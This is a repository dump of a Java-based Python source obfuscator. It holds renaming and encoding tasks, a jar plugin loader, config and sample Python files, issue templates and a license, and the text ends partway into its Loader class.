├── assets ├── Vars.csv ├── Classes.csv ├── Functions.csv ├── test3.py ├── config.cfg ├── test.py └── test2.py ├── settings.gradle ├── plugins └── Watermark.jar ├── src └── main │ ├── resources │ └── logo.png │ └── java │ └── org │ └── madmeg │ ├── api │ ├── obfuscator │ │ ├── tasks │ │ │ ├── Task.java │ │ │ ├── FactoryWorker.java │ │ │ ├── elements │ │ │ │ └── RenameObject.java │ │ │ └── TaskFactory.java │ │ ├── SplitFile.java │ │ ├── RandomUtils.java │ │ ├── EncodingUtils.java │ │ ├── Mapper.java │ │ ├── FindString.java │ │ └── Loader.java │ ├── plugin │ │ ├── Plugin.java │ │ ├── ClassLoader.java │ │ └── PluginLoader.java │ ├── FileLoader.java │ ├── Color.java │ └── logger │ │ └── Logger.java │ └── impl │ ├── tasks │ ├── RenameImports.java │ ├── EncodeInts.java │ ├── RemoveComments.java │ ├── EncodeCode.java │ ├── EncodeString.java │ ├── RenameVars.java │ ├── RenameClass.java │ ├── AddGarbage.java │ ├── RenameFunction.java │ └── EncodeImports.java │ ├── Core.java │ ├── config │ ├── ConfigLoader.java │ └── Config.java │ └── gui │ └── Gui.java ├── gradle └── wrapper │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── .github └── ISSUE_TEMPLATE │ ├── suggestion.md │ └── bug.md ├── LICENSE.md ├── gradlew.bat ├── gradlew ├── .gitignore ├── Output.py └── README.md /assets/Vars.csv: -------------------------------------------------------------------------------- 1 | test,w3NujkRDVlYPWPblNyAXNP 2 | -------------------------------------------------------------------------------- /assets/Classes.csv: -------------------------------------------------------------------------------- 1 | Example,w3KpXoPscpuPqQnJymvcVi 2 | -------------------------------------------------------------------------------- /settings.gradle: -------------------------------------------------------------------------------- 1 | rootProject.name = 'Python-Obfscation' 2 | 3 | -------------------------------------------------------------------------------- /assets/Functions.csv: -------------------------------------------------------------------------------- 1 | main,w3mEseGftlKQuPFfOPGgdo 2 | test,w3JHiSrHBIrzZNetfbEEti 3 | -------------------------------------------------------------------------------- /plugins/Watermark.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Madmegsox1/Python-Obfuscator/HEAD/plugins/Watermark.jar -------------------------------------------------------------------------------- /src/main/resources/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Madmegsox1/Python-Obfuscator/HEAD/src/main/resources/logo.png -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Madmegsox1/Python-Obfuscator/HEAD/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /assets/test3.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | class Example(): 4 | def __init__(self): 5 | print("test" + ' asdasd') # test 6 | print(random.seed(7)) 7 | test = Example() -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionBase=GRADLE_USER_HOME 2 | distributionPath=wrapper/dists 3 | distributionUrl=https\://services.gradle.org/distributions/gradle-7.1-bin.zip 4 | zipStoreBase=GRADLE_USER_HOME 5 | zipStorePath=wrapper/dists 6 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/api/obfuscator/tasks/Task.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.api.obfuscator.tasks; 2 | 3 | /** 4 | * @author Madmegsox1 5 | * @since 09/12/2021 6 | */ 7 | 8 | public interface Task { 9 | 10 | void completeTask(); 11 | 12 | } 13 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/api/plugin/Plugin.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.api.plugin; 2 | 3 | public interface Plugin { 4 | 5 | void init(); 6 | 7 | void onLoad(); 8 | 9 | void onConfig(); 10 | 11 | void onPoolTasks(); 12 | 13 | void onExecute(); 14 | 15 | } 16 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/suggestion.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: suggestion 3 | about: Suggest an idea for this project 4 | title: "[SUGGESTION]" 5 | labels: suggestion 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Please describe your suggestion in detail.** 11 | Add your description here 12 | 13 | 14 | **Additional context** 15 | Add any other context or screenshots about the feature here. 16 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/api/FileLoader.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.api; 2 | 3 | import java.io.File; 4 | 5 | /** 6 | * @author Madmegsox1 7 | * @since 09/12/2021 8 | */ 9 | 10 | public interface FileLoader { 11 | /** 12 | * @param file The file being loaded by the manager 13 | */ 14 | void load(File file); 15 | 16 | 17 | 18 | /** 19 | * @param path The path that the manager will save the file if needed 20 | */ 21 | void save(String path); 22 | } 23 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/api/obfuscator/SplitFile.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.api.obfuscator; 2 | 3 | import java.util.ArrayList; 4 | 5 | /** 6 | *

7 | * A constructor to store each line of the file being obfuscated. 8 | *

9 | * @author Madmegsox1 10 | * @since 09/12/2021 11 | */ 12 | 13 | public final class SplitFile { 14 | public ArrayList lines; 15 | public SplitFile(ArrayList lines){ 16 | this.lines = new ArrayList<>(); 17 | this.lines.addAll(lines); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /assets/config.cfg: -------------------------------------------------------------------------------- 1 | # Rename Settings 2 | rename_vars = true 3 | rename_functions = true 4 | rename_class = true 5 | remove_comments = true 6 | 7 | # Naming Settings 8 | name_length = 20 9 | name_prefix = w3 10 | 11 | # Garbage Settings 12 | insert_garbage = false 13 | garbage_amount = 40 14 | garbage_length = 10 15 | 16 | 17 | # Encoder Settings 18 | encoded_list_garbage_length = 20 19 | encoder_type = bin 20 | binary_splitter = % 21 | # bin = binary 22 | # hex = hexadecimal 23 | # base64 = base64 24 | encode_strings = true 25 | encode_imports = true 26 | encode_ints = true 27 | encode_code = false 28 | 29 | 30 | map_path = assets -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug 3 | about: Create a report to help us improve 4 | title: "[BUG]" 5 | labels: bug 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **To Reproduce** 14 | Steps to reproduce the behavior: 15 | 1. Go to '...' 16 | 2. Click on '....' 17 | 3. Scroll down to '....' 18 | 4. See error 19 | 20 | **Expected behavior** 21 | A clear and concise description of what you expected to happen. 22 | 23 | **Screenshots** 24 | If applicable, add screenshots to help explain your problem. 25 | 26 | **Desktop (please complete the following information):** 27 | - OS: [e.g. iOS] 28 | - Browser [e.g. chrome, safari] 29 | - Version [e.g. 22] 30 | 31 | **Additional context** 32 | Add any other context about the problem here. 33 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 0x0001 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/api/obfuscator/tasks/FactoryWorker.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.api.obfuscator.tasks; 2 | 3 | import java.util.LinkedList; 4 | import java.util.Queue; 5 | 6 | /** 7 | * @param The datatype being queued up by a factory like {@link TaskFactory} 8 | */ 9 | public abstract class FactoryWorker { 10 | 11 | public final Queue tasks; 12 | 13 | public FactoryWorker(){ 14 | this.tasks = new LinkedList<>(); 15 | } 16 | 17 | /** 18 | * @param task the task to be added to the back of the queue 19 | */ 20 | public void queueTask(T task){ 21 | this.tasks.add(task); 22 | } 23 | 24 | /** 25 | *

26 | * Clears the queue of all tasks 27 | *

28 | */ 29 | public void clearTasks(){ 30 | this.tasks.clear(); 31 | } 32 | 33 | /** 34 | *

35 | * Overridable function to complete tasks pooled by the factory 36 | *

37 | */ 38 | public void runTasks(){ 39 | 40 | } 41 | 42 | /** 43 | *

44 | * Overridable function to pool tasks 45 | *

46 | */ 47 | public void poolTasks(){ 48 | 49 | } 50 | 51 | } 52 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/api/Color.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.api; 2 | 3 | /** 4 | *

5 | * Simple static references to chars that change the color of the command line 6 | *

7 | * @author Madmegsox1 8 | * @since 09/12/2021 9 | */ 10 | public final class Color { 11 | public static final String RESET = "\033[0m"; 12 | 13 | public static final String BLACK = "\033[30m"; 14 | public static final String RED = "\033[31m"; 15 | public static final String GREEN = "\033[32m"; 16 | public static final String YELLOW = "\033[33m"; 17 | public static final String BLUE = "\033[34m"; 18 | public static final String PURPLE = "\033[35m"; 19 | public static final String CYAN = "\033[36m"; 20 | public static final String WHITE = "\033[37m"; 21 | 22 | public static final String BLACK_BG = "\033[40m"; 23 | public static final String RED_BG = "\033[41m"; 24 | public static final String GREEN_BG = "\033[42m"; 25 | public static final String YELLOW_BG = "\033[43m"; 26 | public static final String BLUE_BG = "\033[44m"; 27 | public static final String PURPLE_BG = "\033[45m"; 28 | public static final String CYAN_BG = "\033[46m"; 29 | public static final String WHITE_BG = "\033[47m"; 30 | } 31 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/api/obfuscator/tasks/elements/RenameObject.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.api.obfuscator.tasks.elements; 2 | 3 | /** 4 | * @author Madmegsox1 5 | * @since 12/12/2021 6 | */ 7 | 8 | public final class RenameObject { 9 | public String oldName; 10 | public String newName; 11 | private String wSpace; 12 | 13 | public RenameObject(String oldName, String newName, String wSpace){ 14 | this.oldName = oldName; 15 | this.newName = newName; 16 | this.wSpace = wSpace; 17 | } 18 | 19 | public String getOldName() { 20 | return oldName; 21 | } 22 | 23 | public void setOldName(String oldName) { 24 | this.oldName = oldName; 25 | } 26 | 27 | public String getNewName() { 28 | return newName; 29 | } 30 | 31 | public void setNewName(String newName) { 32 | this.newName = newName; 33 | } 34 | 35 | public String getwSpace() { 36 | return wSpace; 37 | } 38 | 39 | public void setwSpace(String wSpace) { 40 | this.wSpace = wSpace; 41 | } 42 | 43 | @Override 44 | public String toString(){ 45 | return "Old name: '" + oldName + "' New name: '" + newName + "' wSpace:" + wSpace + ":"; 46 | } 47 | 48 | 49 | } 50 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/impl/tasks/RenameImports.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.impl.tasks; 2 | 3 | import org.madmeg.api.obfuscator.Mapper; 4 | import org.madmeg.api.obfuscator.SplitFile; 5 | import org.madmeg.api.obfuscator.tasks.Task; 6 | import org.madmeg.api.obfuscator.tasks.elements.RenameObject; 7 | 8 | import java.util.ArrayList; 9 | import java.util.Collection; 10 | import java.util.regex.Matcher; 11 | import java.util.regex.Pattern; 12 | 13 | public class RenameImports extends Mapper implements Task { 14 | private final ArrayList lines; 15 | 16 | public RenameImports(SplitFile file) { 17 | super("Imports"); 18 | this.lines = file.lines; 19 | } 20 | 21 | @Override 22 | public void completeTask() { 23 | 24 | 25 | } 26 | 27 | 28 | private Collection findImports(){ 29 | final ArrayList objects = new ArrayList<>(); 30 | final Pattern pattern = Pattern.compile("^import\s.*"); 31 | 32 | for(String line : lines){ 33 | final Matcher matcher = pattern.matcher(line); 34 | if(!matcher.find())continue; 35 | 36 | final String oldName = line.substring(6).split(" ")[0]; 37 | 38 | } 39 | 40 | return objects; 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/api/logger/Logger.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.api.logger; 2 | 3 | import org.madmeg.api.Color; 4 | import org.madmeg.impl.gui.Gui; 5 | 6 | import java.util.Scanner; 7 | 8 | /** 9 | * @author Madmegsox1 10 | * @since 09/12/2021 11 | */ 12 | 13 | public final class Logger { 14 | private String prefix; 15 | private Scanner sc; 16 | 17 | public Logger(String prefix){ 18 | this.prefix = prefix; 19 | this.sc = new Scanner(System.in); 20 | } 21 | 22 | 23 | public void printError(String text){ 24 | System.out.println("[ERROR] " + text); 25 | Gui.log("[ERROR] " + text); 26 | } 27 | 28 | public void printSuccess(String text){ 29 | System.out.println("["+ prefix +"] " + text); 30 | Gui.log("["+ prefix +"] " + text); 31 | } 32 | 33 | 34 | public void print(String text){ 35 | System.out.println("["+ prefix +"] " + text); 36 | } 37 | 38 | public void print(String text, Color color){ 39 | System.out.println(color +"["+ prefix +"] " + text); 40 | } 41 | 42 | public void printCommand(String text){ 43 | System.out.println("["+ prefix +"] " + text); 44 | } 45 | 46 | public String readLine(){ 47 | return sc.nextLine(); 48 | } 49 | 50 | } 51 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/impl/tasks/EncodeInts.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.impl.tasks; 2 | 3 | import org.madmeg.api.obfuscator.SplitFile; 4 | import org.madmeg.api.obfuscator.tasks.Task; 5 | 6 | import java.util.*; 7 | 8 | /** 9 | * @author Madmegsox1 10 | * @since 31/12/2021 11 | */ 12 | 13 | public final class EncodeInts implements Task { 14 | 15 | private final ArrayList lines; 16 | 17 | public EncodeInts(SplitFile file){ 18 | this.lines = file.lines; 19 | } 20 | /** 21 | *

How it works

22 | *

23 | * iterates through each line and looks for ints, The obfuscator then encodes the ints into hex, it will then replace 24 | * the string with the encoded string 25 | *

26 | */ 27 | @Override 28 | public void completeTask() { 29 | Map renameMap = new HashMap<>(); 30 | int i = 0; 31 | for(String line: lines){ 32 | final String toEncode = line.replaceAll("[^0-9]+", " "); 33 | for(final String x : toEncode.trim().split(" ")){ 34 | if(x.equals(""))continue; 35 | line = line.replaceFirst(x, "0x000" + String.format("%X", Integer.parseInt(x))); 36 | } 37 | renameMap.put(i, line); 38 | i++; 39 | } 40 | 41 | for(int index : renameMap.keySet()){ 42 | lines.remove(index); 43 | lines.add(index, renameMap.get(index)); 44 | } 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/api/obfuscator/RandomUtils.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.api.obfuscator; 2 | 3 | /** 4 | *

A static util class used to generate random data values

5 | */ 6 | public final class RandomUtils { 7 | /** 8 | * @param size the length of the generated string 9 | * @return the generated string 10 | */ 11 | public static String genRandomString(int size){ 12 | String AlphaNumericString = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 13 | + "abcdefghijklmnopqrstuvxyz"; 14 | 15 | StringBuilder sb = new StringBuilder(size); 16 | 17 | for (int i = 0; i < size; i++) { 18 | int index 19 | = (int)(AlphaNumericString.length() 20 | * Math.random()); 21 | sb.append(AlphaNumericString 22 | .charAt(index)); 23 | } 24 | 25 | return sb.toString(); 26 | } 27 | 28 | /** 29 | * @param min the smallest int that can be generated 30 | * @param max the largest int that can be generated 31 | * @return the randomly generated integer 32 | */ 33 | public static int genRandomInt(int min, int max){ 34 | return (int) (Math.random() * max + min); 35 | } 36 | 37 | /** 38 | * @param min the smallest double that can be generated 39 | * @param max the largest double that can be generated 40 | * @return the randomly generated double 41 | */ 42 | public static double genRandomDouble(double min, double max){ 43 | return (Math.random() * max + min); 44 | } 45 | 46 | } 47 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/api/obfuscator/tasks/TaskFactory.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.api.obfuscator.tasks; 2 | 3 | import org.madmeg.api.obfuscator.Loader; 4 | import org.madmeg.impl.tasks.*; 5 | import org.madmeg.impl.Core; 6 | 7 | /** 8 | * @author Madmegsox1 9 | * @since 09/12/2021 10 | */ 11 | 12 | public final class TaskFactory extends FactoryWorker{ 13 | 14 | @Override 15 | public void runTasks(){ 16 | while (tasks.size() > 0){ 17 | tasks.remove().completeTask(); 18 | } 19 | } 20 | 21 | @Override 22 | public void poolTasks(){ 23 | if(Core.CONFIG.isRemoveComments()){ 24 | this.queueTask(new RemoveComments(Loader.FILE)); 25 | } 26 | if(Core.CONFIG.isEncodeInts()){ 27 | this.queueTask(new EncodeInts(Loader.FILE)); 28 | } 29 | if(Core.CONFIG.isEncodeStrings()){ 30 | this.queueTask(new EncodeString(Loader.FILE)); 31 | } 32 | if(Core.CONFIG.isEncodeImports()){ 33 | this.queueTask(new EncodeImports(Loader.FILE)); 34 | } 35 | if(Core.CONFIG.isVarNames()){ 36 | this.queueTask(new RenameVars(Loader.FILE)); 37 | } 38 | if(Core.CONFIG.isDefNames()){ 39 | this.queueTask(new RenameFunction(Loader.FILE)); 40 | } 41 | if(Core.CONFIG.isClassNames()){ 42 | this.queueTask(new RenameClass(Loader.FILE)); 43 | } 44 | if(Core.CONFIG.isInsertGarbage()){ 45 | this.queueTask(new AddGarbage(Loader.FILE)); 46 | } 47 | if(Core.CONFIG.isEncodeCode()){ 48 | this.queueTask(new EncodeCode(Loader.FILE)); 49 | } 50 | 51 | } 52 | 53 | } 54 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/api/plugin/ClassLoader.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.api.plugin; 2 | 3 | import java.io.File; 4 | import java.io.IOException; 5 | import java.net.URL; 6 | import java.net.URLClassLoader; 7 | import java.util.ArrayList; 8 | import java.util.Collection; 9 | import java.util.jar.JarFile; 10 | 11 | public abstract class ClassLoader { 12 | private final ArrayList urls; 13 | private final ArrayList classes; 14 | private final Class type; 15 | private final ArrayList instances; 16 | 17 | 18 | public ClassLoader(Class type){ 19 | urls = new ArrayList<>(); 20 | classes = new ArrayList<>(); 21 | instances = new ArrayList<>(); 22 | this.type = type; 23 | } 24 | 25 | 26 | public void findClasses(File file) throws IOException { 27 | final JarFile pluginJar = new JarFile(file); 28 | pluginJar.stream().spliterator().forEachRemaining(e -> { 29 | if(e.getName().endsWith(".class")){ 30 | classes.add(e.getName()); 31 | } 32 | }); 33 | urls.add(file.toURI().toURL()); 34 | } 35 | 36 | public void load() throws ClassNotFoundException, InstantiationException, IllegalAccessException { 37 | final URLClassLoader classLoader = new URLClassLoader(urls.toArray(new URL[urls.size()])); 38 | for(final String className : classes){ 39 | Class cls = classLoader.loadClass(className.replaceAll("/", ".").replace(".class", "")); 40 | Class[] ife = cls.getInterfaces(); 41 | if(ife[0].equals(type)){ 42 | T instance = (T) cls.newInstance(); 43 | instances.add(instance); 44 | } 45 | } 46 | } 47 | 48 | public Collection getInstances(){ 49 | return this.instances; 50 | } 51 | 52 | } 53 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/impl/tasks/RemoveComments.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.impl.tasks; 2 | 3 | import org.madmeg.api.obfuscator.FindString; 4 | import org.madmeg.api.obfuscator.SplitFile; 5 | import org.madmeg.api.obfuscator.tasks.Task; 6 | 7 | import java.util.ArrayList; 8 | import java.util.HashMap; 9 | import java.util.Map; 10 | 11 | public final class RemoveComments implements Task { 12 | 13 | 14 | private final ArrayList lines; 15 | public RemoveComments(SplitFile file){ 16 | this.lines = file.lines; 17 | } 18 | 19 | /** 20 | *

How it works

21 | *

22 | * iterates through each line and looks for a # it then splits the line at that point. 23 | * After that it will get index 0 of the list as everything after the # will be commented 24 | * out. Finally it will replace the line with the split one. 25 | *

26 | */ 27 | @Override 28 | public void completeTask() { 29 | Map newLines = new HashMap<>(); 30 | int i = 0; 31 | for(String line : lines){ 32 | if(!line.contains("#")) { 33 | i++; 34 | continue; 35 | } 36 | final FindString findString = new FindString(line, false); // shit fix 37 | boolean removedString = false; 38 | if(findString.getFoundLine() != null && findString.getFoundLine().get(0).contains("#")){ 39 | line = line.replace(findString.getFoundLine().get(0), "[+|---|.]"); 40 | removedString = true; 41 | } 42 | 43 | line = line.split("#")[0]; 44 | if(removedString){ 45 | line = line.replace("[+|---|.]", findString.getFoundLine().get(0)); 46 | } 47 | newLines.put(i, line); 48 | i++; 49 | } 50 | 51 | for(int lineIndex : newLines.keySet()){ 52 | lines.remove(lineIndex); 53 | lines.add(lineIndex, newLines.get(lineIndex)); 54 | } 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/api/obfuscator/EncodingUtils.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.api.obfuscator; 2 | 3 | import java.io.UnsupportedEncodingException; 4 | import java.math.BigInteger; 5 | import java.nio.charset.StandardCharsets; 6 | import java.util.ArrayList; 7 | import java.util.Base64; 8 | import java.util.List; 9 | 10 | /** 11 | * @author Madmegsox1 12 | * @since 24/12/2021 13 | */ 14 | 15 | public final class EncodingUtils { 16 | public static String stringToHex(String toConvert){ 17 | return String.format("%040x", new BigInteger(1, toConvert.getBytes(StandardCharsets.UTF_8))); 18 | } 19 | 20 | public static String largeStringToHex(String toConvert){ 21 | final StringBuilder sb = new StringBuilder(); 22 | char[] ch = toConvert.toCharArray(); 23 | for (char c : ch) { 24 | String hexString = Integer.toHexString(c); 25 | sb.append(hexString); 26 | } 27 | return sb.toString(); 28 | } 29 | 30 | public static String stringToBase64(String toConvert){ 31 | try { 32 | return Base64.getEncoder() 33 | .encodeToString(toConvert.getBytes(StandardCharsets.UTF_8.toString())); 34 | } catch(UnsupportedEncodingException ex) { 35 | throw new RuntimeException(ex); 36 | } 37 | } 38 | 39 | public static String stringToBinary(String input) { 40 | StringBuilder result = new StringBuilder(); 41 | char[] chars = input.toCharArray(); 42 | for (char aChar : chars) { 43 | result.append( 44 | String.format("%8s", Integer.toBinaryString(aChar)) 45 | .replaceAll(" ", "0") 46 | ); 47 | } 48 | return result.toString(); 49 | } 50 | 51 | public static String prettyBinary(String binary, int blockSize, String separator) { 52 | 53 | List result = new ArrayList<>(); 54 | int index = 0; 55 | while (index < binary.length()) { 56 | result.add(binary.substring(index, Math.min(index + blockSize, binary.length()))); 57 | index += blockSize; 58 | } 59 | 60 | return String.join(separator, result); 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/api/obfuscator/Mapper.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.api.obfuscator; 2 | 3 | import java.io.File; 4 | import java.io.FileWriter; 5 | import java.io.IOException; 6 | import java.lang.reflect.Field; 7 | import java.util.ArrayList; 8 | import java.util.Collection; 9 | 10 | public abstract class Mapper { 11 | public final ArrayList maps; 12 | public final String mappingType; 13 | 14 | public Mapper(final String mappingType){ 15 | maps = new ArrayList<>(); 16 | this.mappingType = mappingType; 17 | } 18 | 19 | public final void addMap(final T map){ 20 | maps.add(map); 21 | } 22 | 23 | public final void addBulkMaps(final Collection bulkMaps){ 24 | maps.addAll(bulkMaps); 25 | } 26 | 27 | public final void saveMaps(final String path) throws IllegalAccessException, IOException { 28 | if(maps.isEmpty())return; 29 | 30 | final Field[] fields = maps.get(0).getClass().getFields(); 31 | final int[] index = new int[2]; 32 | int i = 0; 33 | for(Field field : fields){ 34 | final String fName = field.getName().toLowerCase(); 35 | 36 | if(fName.equals("oldname")){ 37 | index[0] = i; 38 | }else if(fName.equals("newname")){ 39 | index[1] = i; 40 | } 41 | i++; 42 | } 43 | 44 | final Field oldNameF = fields[index[0]]; 45 | oldNameF.setAccessible(true); 46 | final Field newNameF = fields[index[1]]; 47 | newNameF.setAccessible(true); 48 | if(!new File(path).exists()){ 49 | System.err.println("Cannot create map, the path " + path + " is invalid."); 50 | return; 51 | } 52 | final File mappingFile = new File(path + "/" + mappingType + ".csv"); 53 | mappingFile.createNewFile(); 54 | 55 | final FileWriter writer = new FileWriter(mappingFile); 56 | 57 | for(final T map : maps){ 58 | writer.write((String) oldNameF.get(map)); 59 | writer.write(","); 60 | writer.write((String) newNameF.get(map)); 61 | writer.write("\n"); 62 | } 63 | 64 | writer.close(); 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/api/plugin/PluginLoader.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.api.plugin; 2 | 3 | import org.madmeg.impl.Core; 4 | 5 | import java.io.File; 6 | import java.io.IOException; 7 | import java.util.ArrayList; 8 | 9 | public final class PluginLoader extends ClassLoader { 10 | 11 | private final File[] pluginsFiles; 12 | public final ArrayList plugins; 13 | 14 | public PluginLoader(){ 15 | super(Plugin.class); 16 | 17 | Core.LOGGER.printSuccess("Loading Plugins"); 18 | 19 | plugins = new ArrayList<>(); 20 | final File pluginDir = new File("plugins/"); 21 | if (!pluginDir.exists()) pluginDir.mkdir(); 22 | pluginsFiles = pluginDir.listFiles((dir, name) -> name.endsWith(".jar")); 23 | 24 | loadClasses(); 25 | 26 | Core.LOGGER.printSuccess("Loaded " + plugins.size() + " plugins"); 27 | } 28 | 29 | private void loadClasses(){ 30 | if(pluginsFiles == null || pluginsFiles.length < 1)return; 31 | try { 32 | for(final File file : pluginsFiles){ 33 | findClasses(file); 34 | } 35 | load(); 36 | plugins.addAll(getInstances()); 37 | } catch (IOException | InstantiationException | IllegalAccessException | ClassNotFoundException e) { 38 | e.printStackTrace(); 39 | } 40 | } 41 | 42 | public void init(){ 43 | if (!plugins.isEmpty()) { 44 | plugins.spliterator().forEachRemaining(Plugin::init); 45 | } 46 | } 47 | 48 | public void onLoad(){ 49 | if (!plugins.isEmpty()) { 50 | plugins.spliterator().forEachRemaining(Plugin::onLoad); 51 | } 52 | } 53 | 54 | public void onConfig(){ 55 | if (!plugins.isEmpty()) { 56 | plugins.spliterator().forEachRemaining(Plugin::onConfig); 57 | } 58 | } 59 | 60 | public void onPoolTasks(){ 61 | if (!plugins.isEmpty()) { 62 | plugins.spliterator().forEachRemaining(Plugin::onPoolTasks); 63 | } 64 | } 65 | 66 | public void onExecute(){ 67 | if (!plugins.isEmpty()) { 68 | plugins.spliterator().forEachRemaining(Plugin::onExecute); 69 | } 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/api/obfuscator/FindString.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.api.obfuscator; 2 | 3 | import java.util.ArrayList; 4 | 5 | /** 6 | * @author Madmegsox1 7 | * @since 29/12/2021 8 | * 9 | * bunch of shit code, need to improve this as its very slow 10 | */ 11 | 12 | public final class FindString { 13 | private final String line; 14 | private ArrayList foundLine; 15 | private int start; 16 | private final boolean keepChar; 17 | 18 | public FindString(String line, boolean keepChar){ 19 | this.line = line; 20 | this.start = -1; 21 | this.keepChar = keepChar; 22 | this.foundLine = find(); 23 | } 24 | 25 | private ArrayList find(){ 26 | if(!line.contains("\"") && !line.contains("'"))return null; 27 | boolean open = false; 28 | boolean open2 = false; 29 | 30 | 31 | final ArrayList strings = new ArrayList<>(); 32 | 33 | 34 | StringBuilder toReturn = new StringBuilder(); 35 | for(int i = 0; i < line.length(); i++){ 36 | final char val = line.charAt(i); 37 | if(val == '"' && !open2){ 38 | open = !open; 39 | if(!open){ 40 | if(keepChar) toReturn.append('"'); 41 | strings.add(toReturn.toString()); 42 | toReturn = new StringBuilder(); 43 | } 44 | if(!keepChar) { 45 | continue; 46 | } 47 | } 48 | if(val == '\'' && !open){ 49 | open2 = !open2; 50 | if(!open2){ 51 | if(keepChar) toReturn.append("'"); 52 | strings.add(toReturn.toString()); 53 | toReturn = new StringBuilder(); 54 | } 55 | if(!keepChar) { 56 | continue; 57 | } 58 | } 59 | 60 | if(open || open2){ 61 | if(start == -1){ 62 | start = i; 63 | } 64 | toReturn.append(val); 65 | } 66 | } 67 | return strings; 68 | } 69 | 70 | public ArrayList getFoundLine() { 71 | return foundLine; 72 | } 73 | 74 | public int getStart() { 75 | return start; 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/api/obfuscator/Loader.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.api.obfuscator; 2 | 3 | import org.madmeg.api.FileLoader; 4 | import org.madmeg.impl.Core; 5 | 6 | import java.io.File; 7 | import java.io.FileNotFoundException; 8 | import java.io.FileWriter; 9 | import java.io.IOException; 10 | import java.util.ArrayList; 11 | import java.util.Scanner; 12 | 13 | /** 14 | *

15 | * Loads the file being obfuscated 16 | *

